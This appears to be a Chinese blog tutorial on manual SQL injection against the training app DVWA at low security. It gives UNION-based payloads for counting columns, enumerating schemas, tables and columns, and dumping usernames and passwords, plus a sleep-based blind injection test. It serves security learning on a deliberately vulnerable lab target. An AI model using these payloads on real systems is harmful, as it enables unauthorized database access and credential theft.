DVWA中low级别的SQL注入

DVWA中低级别的SQL注入

基于错误的注入:
构造特殊的SQL语句注入到数据库中,看得到的返回信息,确认注入点,如果数据库对输入的某些SQL语句无返回信息时,可以进行基于时间的注入(sleep函数)

1.基于union的注入
一般通过错误和布尔注入确认注入点之后,
第一步猜解数据库的字段数
//猜解数据库的字段数(列)

' union select 1'

后端代码执行如下:
DVWA中low级别的SQL注入

select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''

此时数据库提示
The used SELECT statements have a different number of columns
使用的SELECT语句具有不同的列数
接下来我们继续猜解
后端代码执行如下:
DVWA中low级别的SQL注入

select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '';
' union select 1,2'

此时我们发现猜解成功,原始语句的字段数为2
DVWA中low级别的SQL注入
这个时候我们可以进行联合查询,查出我们所需的信息。
‘union select version(),database()’
‘union select user(),database()’
查询到数据库的名称为dvwa
DVWA中low级别的SQL注入
接着我们可以通过数据库字典来查询数据库中的所有库和表
查询所有库名
‘union select table_schema, 1 from information_schema.tables-- ’
后端执行代码如下:
select first_name,last_name from dvwa.users where user_id=’'union select table_name,1 from information_schema.tables – ‘’;
DVWA中low级别的SQL注入

查询所有库中的表名:
'union select table_name, 1 from information_schema.tables – ’
DVWA中low级别的SQL注入
查询数据库和所有的表名:
类似于把班级分类然后把学生放到对应的班级中。库就是班级,表就是学生
‘union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema – ’
库:dvwa
表:users,guestbook
DVWA中low级别的SQL注入
接下来我们可以继续查询表的结构,以users为例:
‘union select 1,column_name from information_schema.columns where table_name=‘users’ – ’
DVWA中low级别的SQL注入
验证下:
DVWA中low级别的SQL注入
接下来根据表中的字段来查询字段对应的信息呗:
‘union select user,password from users;
DVWA中low级别的SQL注入
我们受限于原始语句的字段只能查询两列,借助字符串拼接来查询所有字段:
‘union select password, concat(first_name,’’,last_name,’’,user) from users – ’
DVWA中low级别的SQL注入
基于时间的布尔盲注:
有些情况下我们输入一些SQL语句时,服务器不会返回任何信息供我们判断是否执行了语句。
我们可以通过基于时间的盲注,s通过leep函数来判断SQL语句的执行时间
’ or sleep(2) – ’
DVWA中low级别的SQL注入
手工注入的流程:
判断是否有注入点,判断的方法有两种
第一种是错误的注入,加个 ’ 引号让他报错。
如果报错说明单引号被带入到数据库中进行查询
我们就可以组织SQL语句进行信息收集。
如果不能报错也有两种可能,第一种是被数据库过滤了,第二种是数据库收到了消息但是不返回任何消息,我们可以基于时间的注入。
找到注入点之后,采用union联合查询的方式猜解数据库原始语句的字段,猜解完成后,查询数据库的信息。查询数据库,表名,字段名,根据字段名查询对应的数据。

上一篇:Mysql提权-基于Mysql的webshell提权


下一篇:DVWA学习日记-文件包含(File Inclusion)